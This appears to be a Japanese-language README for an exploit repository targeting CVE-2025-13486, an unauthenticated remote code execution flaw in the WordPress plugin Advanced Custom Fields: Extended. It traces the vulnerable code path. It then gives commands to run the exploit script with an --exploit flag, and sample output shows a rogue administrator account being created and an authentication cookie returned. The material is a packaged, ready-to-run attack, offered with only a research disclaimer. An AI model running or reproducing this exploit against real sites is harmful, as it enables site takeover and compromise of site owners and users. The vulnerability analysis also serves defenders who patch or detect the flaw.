
CVE-2025-13486 - リモートコード実行および特権昇格エクスプロイト
CVE-2025-13486 のエクスプロイト。Marcin Dudek (dudekmar) によって発見されました。
このリポジトリは研究および防御的なセキュリティ目的のみで提供されます。 著者は、この情報の誤用について一切の責任を負いません。
WordPress 用プラグイン Advanced Custom Fields: Extended (ACFE) は、バージョン 0.9.0.5 から 0.9.1.1 において リモートコード実行 (RCE) の脆弱性の影響を受けます。
この脆弱性は prepare_form() 関数に存在し、この関数はユーザー制御の入力を適切な検証なしに call_user_func_array() へ渡します。
これにより、未認証の攻撃者がサーバー上で限定的に任意の PHP コードを実行でき、それでも管理者アカウントを作成してログインするのに十分です。
脆弱性の連鎖は以下の通りです:
includes/modules/form/module-form-front.php:24 -> wp_ajax_nopriv_acfe/form/render_form_ajax アクションが render_form_ajax ハンドラをトリガーします。
includes/modules/form/module-form-front.php:492 -> フィルター acfe/form/prepare_form が適用され、prepare_form() 関数が呼び出されます。
includes/modules/form/module-form-front-render.php:151 -> ユーザー制御の $form データが call_user_func_array() に直接渡されます。
Python の依存関係をインストールします:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
脆弱な WordPress ターゲットを特定します。
ターゲットには ACFE で生成されたフォームを含むページが存在する必要があります。
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
出力例:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
--exploit フラグを付けてスクリプトを再度実行します:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
出力例:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
返された WordPress 認証クッキーを使用して、新しく作成された管理者アカウントとしてログインします。